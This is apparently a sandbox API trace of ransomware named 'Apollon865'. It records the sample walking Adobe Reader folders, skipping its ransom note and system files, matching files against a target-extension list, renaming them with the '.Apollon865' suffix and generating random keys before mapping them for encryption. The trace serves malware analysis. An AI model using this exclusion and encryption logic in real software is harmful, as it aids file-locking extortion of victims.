	[0059.367] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b0a25f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3b0a25f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0059.367] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0059.367] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IA32.CAT", cAlternateFileName="")) returned 1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2=".") returned 1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="..") returned 1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="windows") returned -1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="bootmgr") returned 1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="temp") returned -1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="pagefile.sys") returned -1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="boot") returned 1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="ids.txt") returned -1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="ntuser.dat") returned -1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="perflogs") returned -1
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2="MSBuild") returned -1
	[0059.367] lstrlenW (lpString="IA32.CAT") returned 8
	[0059.367] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT") returned 72
	[0059.367] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="IA32.CAT" | out: lpString1="IA32.CAT") returned="IA32.CAT"
	[0059.367] lstrlenW (lpString="IA32.CAT") returned 8
	[0059.367] lstrlenW (lpString="Apollon865") returned 10
	[0059.367] lstrlenW (lpString=".dll") returned 4
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2=".dll") returned 1
	[0059.367] lstrlenW (lpString=".lnk") returned 4
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2=".lnk") returned 1
	[0059.367] lstrlenW (lpString=".ini") returned 4
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2=".ini") returned 1
	[0059.367] lstrlenW (lpString=".sys") returned 4
	[0059.367] lstrcmpiW (lpString1="IA32.CAT", lpString2=".sys") returned 1
	[0059.368] lstrlenW (lpString="IA32.CAT") returned 8
	[0059.368] lstrlenW (lpString="bak") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.368] lstrlenW (lpString="ba_") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.368] lstrlenW (lpString="dbb") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.368] lstrlenW (lpString="vmdk") returned 4
	[0059.368] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.368] lstrlenW (lpString="rar") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.368] lstrlenW (lpString="zip") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.368] lstrlenW (lpString="tgz") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.368] lstrlenW (lpString="vbox") returned 4
	[0059.368] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.368] lstrlenW (lpString="vdi") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.368] lstrlenW (lpString="vhd") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.368] lstrlenW (lpString="vhdx") returned 4
	[0059.368] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.368] lstrlenW (lpString="avhd") returned 4
	[0059.368] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.368] lstrlenW (lpString="db") returned 2
	[0059.368] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.368] lstrlenW (lpString="db2") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.368] lstrlenW (lpString="db3") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.368] lstrlenW (lpString="dbf") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.368] lstrlenW (lpString="mdf") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.368] lstrlenW (lpString="mdb") returned 3
	[0059.368] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.368] lstrlenW (lpString="sql") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.369] lstrlenW (lpString="sqlite") returned 6
	[0059.369] lstrcmpiW (lpString1="32.CAT", lpString2="sqlite") returned -1
	[0059.369] lstrlenW (lpString="sqlite3") returned 7
	[0059.369] lstrcmpiW (lpString1="A32.CAT", lpString2="sqlite3") returned -1
	[0059.369] lstrlenW (lpString="sqlitedb") returned 8
	[0059.369] lstrlenW (lpString="xml") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.369] lstrlenW (lpString="$er") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.369] lstrlenW (lpString="4dd") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.369] lstrlenW (lpString="4dl") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.369] lstrlenW (lpString="^^^") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.369] lstrlenW (lpString="abs") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.369] lstrlenW (lpString="abx") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.369] lstrlenW (lpString="accdb") returned 5
	[0059.369] lstrcmpiW (lpString1="2.CAT", lpString2="accdb") returned -1
	[0059.369] lstrlenW (lpString="accdc") returned 5
	[0059.369] lstrcmpiW (lpString1="2.CAT", lpString2="accdc") returned -1
	[0059.369] lstrlenW (lpString="accde") returned 5
	[0059.369] lstrcmpiW (lpString1="2.CAT", lpString2="accde") returned -1
	[0059.369] lstrlenW (lpString="accdr") returned 5
	[0059.369] lstrcmpiW (lpString1="2.CAT", lpString2="accdr") returned -1
	[0059.369] lstrlenW (lpString="accdt") returned 5
	[0059.369] lstrcmpiW (lpString1="2.CAT", lpString2="accdt") returned -1
	[0059.369] lstrlenW (lpString="accdw") returned 5
	[0059.369] lstrcmpiW (lpString1="2.CAT", lpString2="accdw") returned -1
	[0059.369] lstrlenW (lpString="accft") returned 5
	[0059.369] lstrcmpiW (lpString1="2.CAT", lpString2="accft") returned -1
	[0059.369] lstrlenW (lpString="adb") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.369] lstrlenW (lpString="adb") returned 3
	[0059.369] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.369] lstrlenW (lpString="ade") returned 3
	[0059.370] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.370] lstrlenW (lpString="adf") returned 3
	[0059.370] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.370] lstrlenW (lpString="adn") returned 3
	[0059.370] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.370] lstrlenW (lpString="adp") returned 3
	[0059.370] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.370] lstrlenW (lpString="alf") returned 3
	[0059.370] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.370] lstrlenW (lpString="ask") returned 3
	[0059.370] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.370] lstrlenW (lpString="btr") returned 3
	[0059.370] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.370] lstrlenW (lpString="cat") returned 3
	[0059.370] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.370] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT.Apollon865") returned 80
	[0059.370] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.371] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3584) returned 1
	[0059.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.371] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.372] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.372] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.372] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1100, lpName=0x0) returned 0x154
	[0059.373] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1100) returned 0x120000
	[0059.374] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.375] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.375] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.375] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.375] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.376] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.376] CloseHandle (hObject=0x154) returned 1
	[0059.376] CloseHandle (hObject=0x15c) returned 1
	[0059.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.376] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="makeaccessible.CAT", cAlternateFileName="MAKEAC~1.CAT")) returned 1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2=".") returned 1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="..") returned 1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="windows") returned -1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="bootmgr") returned 1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="temp") returned -1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="pagefile.sys") returned -1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="boot") returned 1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="ids.txt") returned 1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="ntuser.dat") returned -1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="perflogs") returned -1
	[0059.376] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2="MSBuild") returned -1
	[0059.376] lstrlenW (lpString="makeaccessible.CAT") returned 18
	[0059.376] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT") returned 69
	[0059.376] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="makeaccessible.CAT" | out: lpString1="makeaccessible.CAT") returned="makeaccessible.CAT"
	[0059.377] lstrlenW (lpString="makeaccessible.CAT") returned 18
	[0059.377] lstrlenW (lpString="Apollon865") returned 10
	[0059.377] lstrcmpiW (lpString1="ssible.CAT", lpString2="Apollon865") returned 1
	[0059.377] lstrlenW (lpString=".dll") returned 4
	[0059.377] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2=".dll") returned 1
	[0059.377] lstrlenW (lpString=".lnk") returned 4
	[0059.377] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2=".lnk") returned 1
	[0059.377] lstrlenW (lpString=".ini") returned 4
	[0059.377] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2=".ini") returned 1
	[0059.377] lstrlenW (lpString=".sys") returned 4
	[0059.377] lstrcmpiW (lpString1="makeaccessible.CAT", lpString2=".sys") returned 1
	[0059.377] lstrlenW (lpString="makeaccessible.CAT") returned 18
	[0059.377] lstrlenW (lpString="bak") returned 3
	[0059.377] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.377] lstrlenW (lpString="ba_") returned 3
	[0059.377] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.377] lstrlenW (lpString="dbb") returned 3
	[0059.377] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.377] lstrlenW (lpString="vmdk") returned 4
	[0059.377] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.377] lstrlenW (lpString="rar") returned 3
	[0059.377] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.377] lstrlenW (lpString="zip") returned 3
	[0059.377] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.377] lstrlenW (lpString="tgz") returned 3
	[0059.377] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.377] lstrlenW (lpString="vbox") returned 4
	[0059.377] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.377] lstrlenW (lpString="vdi") returned 3
	[0059.377] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.377] lstrlenW (lpString="vhd") returned 3
	[0059.377] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.377] lstrlenW (lpString="vhdx") returned 4
	[0059.377] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.377] lstrlenW (lpString="avhd") returned 4
	[0059.377] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.377] lstrlenW (lpString="db") returned 2
	[0059.377] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.377] lstrlenW (lpString="db2") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.378] lstrlenW (lpString="db3") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.378] lstrlenW (lpString="dbf") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.378] lstrlenW (lpString="mdf") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.378] lstrlenW (lpString="mdb") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.378] lstrlenW (lpString="sql") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.378] lstrlenW (lpString="sqlite") returned 6
	[0059.378] lstrcmpiW (lpString1="le.CAT", lpString2="sqlite") returned -1
	[0059.378] lstrlenW (lpString="sqlite3") returned 7
	[0059.378] lstrcmpiW (lpString1="ble.CAT", lpString2="sqlite3") returned -1
	[0059.378] lstrlenW (lpString="sqlitedb") returned 8
	[0059.378] lstrcmpiW (lpString1="ible.CAT", lpString2="sqlitedb") returned -1
	[0059.378] lstrlenW (lpString="xml") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.378] lstrlenW (lpString="$er") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.378] lstrlenW (lpString="4dd") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.378] lstrlenW (lpString="4dl") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.378] lstrlenW (lpString="^^^") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.378] lstrlenW (lpString="abs") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.378] lstrlenW (lpString="abx") returned 3
	[0059.378] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.378] lstrlenW (lpString="accdb") returned 5
	[0059.378] lstrcmpiW (lpString1="e.CAT", lpString2="accdb") returned 1
	[0059.378] lstrlenW (lpString="accdc") returned 5
	[0059.378] lstrcmpiW (lpString1="e.CAT", lpString2="accdc") returned 1
	[0059.378] lstrlenW (lpString="accde") returned 5
	[0059.378] lstrcmpiW (lpString1="e.CAT", lpString2="accde") returned 1
	[0059.378] lstrlenW (lpString="accdr") returned 5
	[0059.379] lstrcmpiW (lpString1="e.CAT", lpString2="accdr") returned 1
	[0059.379] lstrlenW (lpString="accdt") returned 5
	[0059.379] lstrcmpiW (lpString1="e.CAT", lpString2="accdt") returned 1
	[0059.379] lstrlenW (lpString="accdw") returned 5
	[0059.379] lstrcmpiW (lpString1="e.CAT", lpString2="accdw") returned 1
	[0059.379] lstrlenW (lpString="accft") returned 5
	[0059.379] lstrcmpiW (lpString1="e.CAT", lpString2="accft") returned 1
	[0059.379] lstrlenW (lpString="adb") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.379] lstrlenW (lpString="adb") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.379] lstrlenW (lpString="ade") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.379] lstrlenW (lpString="adf") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.379] lstrlenW (lpString="adn") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.379] lstrlenW (lpString="adp") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.379] lstrlenW (lpString="alf") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.379] lstrlenW (lpString="ask") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.379] lstrlenW (lpString="btr") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.379] lstrlenW (lpString="cat") returned 3
	[0059.379] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.379] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT.Apollon865") returned 90
	[0059.379] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.380] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.380] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79360) returned 1
	[0059.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.381] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.381] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.381] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.381] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13900, lpName=0x0) returned 0x154
	[0059.390] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13900) returned 0x120000
	[0059.394] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.395] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.395] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.396] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.397] CloseHandle (hObject=0x154) returned 1
	[0059.397] CloseHandle (hObject=0x15c) returned 1
	[0059.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.397] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Multimedia.CAT", cAlternateFileName="MULTIM~1.CAT")) returned 1
	[0059.397] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.397] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.397] lstrcmpiW (lpString1="Multimedia.CAT", lpString2=".") returned 1
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="..") returned 1
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="windows") returned -1
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="bootmgr") returned 1
